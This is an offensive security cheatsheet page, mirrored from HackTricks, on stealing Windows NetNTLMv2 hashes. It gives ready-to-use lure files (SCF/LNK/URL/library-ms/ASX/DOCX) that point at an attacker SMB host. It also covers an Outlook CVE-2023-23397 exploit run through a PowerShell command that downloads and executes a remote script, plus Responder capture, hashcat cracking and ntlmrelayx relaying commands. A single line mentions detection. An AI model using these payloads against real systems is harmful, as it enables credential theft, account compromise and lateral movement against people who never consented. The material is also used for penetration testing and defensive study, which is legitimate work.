repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
places-to-steal-ntlm-creds.mdMarkdown236 lines12.6 KiBsource raw download

title: "Places to steal NTLM creds" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Places to steal NTLM creds#

Check all the great ideas from https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and https://github.com/p0dalirius/windows-coerced-authentication-methods[12][13][14]

Writable SMB share + Explorer-triggered UNC lures (ntlm_theft/SCF/LNK/library-ms/desktop.ini)#

If you can write to a share that users or scheduled jobs browse in Explorer, drop files whose metadata points to your UNC (e.g. \\ATTACKER\share). Rendering the folder triggers implicit SMB authentication and leaks a NetNTLMv2 to your listener.[1]

  1. Generate lures (covers SCF/URL/LNK/library-ms/desktop.ini/Office/RTF/etc.)
git clone https://github.com/Greenwolf/ntlm_theft && cd ntlm_theft
uv add --script ntlm_theft.py xlsxwriter
uv run ntlm_theft.py -g all -s <attacker_ip> -f lure
  1. Drop them on the writable share (any folder the victim opens):
smbclient //victim/share -U 'guest%'
cd transfer\
prompt off
mput lure/*
  1. Listen and crack:
sudo responder -I <iface>          # capture NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt  # autodetects mode 5600

Windows may hit several files at once; anything Explorer previews (BROWSE TO FOLDER) requires no clicks.

Windows Media Player playlists (.ASX/.WAX)#

If you can get a target to open or preview a Windows Media Player playlist you control, you can leak Net‑NTLMv2 by pointing the entry to a UNC path. WMP will attempt to fetch the referenced media over SMB and will authenticate implicitly.[3][4]

Example payload:

<asx version="3.0">
  <title>Leak</title>
  <entry>
    <title></title>
    <ref href="file://ATTACKER_IP\\share\\track.mp3" />
  </entry>
</asx>

Collection and cracking flow:

# Capture the authentication
sudo Responder -I <iface>

# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)#

Windows Explorer insecurely handles .library-ms files when they are opened directly from within a ZIP archive. If the library definition points to a remote UNC path (e.g., \attacker\share), simply browsing/launching the .library-ms inside the ZIP causes Explorer to enumerate the UNC and emit NTLM authentication to the attacker. This yields a NetNTLMv2 that can be cracked offline or potentially relayed.[2]

Minimal .library-ms pointing to an attacker UNC

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <version>6</version>
  <name>Company Documents</name>
  <isLibraryPinned>false</isLibraryPinned>
  <iconReference>shell32.dll,-235</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\10.10.14.2\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Operational steps

Outlook calendar reminder sound path (CVE-2023-23397) – zero‑click Net‑NTLMv2 leak#

Microsoft Outlook for Windows processed the extended MAPI property PidLidReminderFileParameter in calendar items. If that property points to a UNC path (e.g., \attacker\share\alert.wav), Outlook would contact the SMB share when the reminder fires, leaking the user’s Net‑NTLMv2 without any click. This was patched on March 14, 2023, but it’s still highly relevant for legacy/untouched fleets and for historical incident response.[5]

Quick exploitation with PowerShell (Outlook COM):

# Run on a host with Outlook installed and a configured mailbox
IEX (iwr -UseBasicParsing https://raw.githubusercontent.com/api0cradle/CVE-2023-23397-POC-Powershell/main/CVE-2023-23397.ps1)
Send-CalendarNTLMLeak -recipient user@example.com -remotefilepath "\\10.10.14.2\share\alert.wav" -meetingsubject "Update" -meetingbody "Please accept"
# Variants supported by the PoC include \\host@80\file.wav and \\host@SSL@443\file.wav

Listener side:

sudo responder -I eth0  # or impacket-smbserver to observe connections

Notes

.LNK/.URL icon-based zero‑click NTLM leak (CVE‑2025‑50154 – bypass of CVE‑2025‑24054)#

Windows Explorer renders shortcut icons automatically. Recent research showed that even after Microsoft’s April 2025 patch for UNC‑icon shortcuts, it was still possible to trigger NTLM authentication with no clicks by hosting the shortcut target on a UNC path and keeping the icon local (patch bypass assigned CVE‑2025‑50154). Merely viewing the folder causes Explorer to retrieve metadata from the remote target, emitting NTLM to the attacker SMB server.[6]

Minimal Internet Shortcut payload (.url):

[InternetShortcut]
URL=http://intranet
IconFile=\\10.10.14.2\share\icon.ico
IconIndex=0

Program Shortcut payload (.lnk) via PowerShell:

$lnk = "$env:USERPROFILE\Desktop\lab.lnk"
$w = New-Object -ComObject WScript.Shell
$sc = $w.CreateShortcut($lnk)
$sc.TargetPath = "\\10.10.14.2\share\payload.exe"  # remote UNC target
$sc.IconLocation = "C:\\Windows\\System32\\SHELL32.dll" # local icon to bypass UNC-icon checks
$sc.Save()

Delivery ideas

No-click .LNK NTLM leak via ExtraData icon path (CVE‑2026‑25185)#

Windows loads .lnk metadata during view/preview (icon rendering), not only on execution. CVE‑2026‑25185 shows a parsing path where ExtraData blocks cause the shell to resolve an icon path and touch the filesystem during load, emitting outbound NTLM when the path is remote.

Key trigger conditions (observed in CShellLink::_LoadFromStream):

If TargetUnicode resolves to a UNC path (e.g., \\attacker\share\icon.ico), merely viewing a folder containing the shortcut causes outbound authentication. The same load path can also be hit by indexing and AV scanning, making it a practical no‑click leak surface.[7]

Research tooling (parser/generator/UI) is available in the LnkMeMaybe project to build/inspect these structures without using the Windows GUI.[8]

WebDAV auth coercion / credential validation via davclnt.dll,DavSetCookie#

The native WebDAV client can be abused to force the current logon session to authenticate to an arbitrary HTTP/WebDAV endpoint:

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C$/Windows

Why this is useful:

Operational notes:

# Capture or relay NTLM over HTTP/WebDAV
ntlmrelayx.py -t smb://<TARGET> --http-port 80

From a detection perspective, repeated rundll32.exe davclnt.dll,DavSetCookie executions against many internal systems are a strong signal of credential validation / spray-like lateral movement prep rather than normal user behaviour.[9][11]

Office remote template injection (.docx/.dotm) to coerce NTLM#

Office documents can reference an external template. If you set the attached template to a UNC path, opening the document will authenticate to SMB.

Minimal DOCX relationship changes (inside word/):

  1. Edit word/settings.xml and add the attached template reference:
<w:attachedTemplate r:id="rId1337" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
  1. Edit word/_rels/settings.xml.rels and point rId1337 to your UNC:
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="\\\\10.10.14.2\\share\\template.dotm" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships"/>
  1. Repack to .docx and deliver. Run your SMB capture listener and wait for the open.

For post-capture ideas on relaying or abusing NTLM, check:

Readme

References#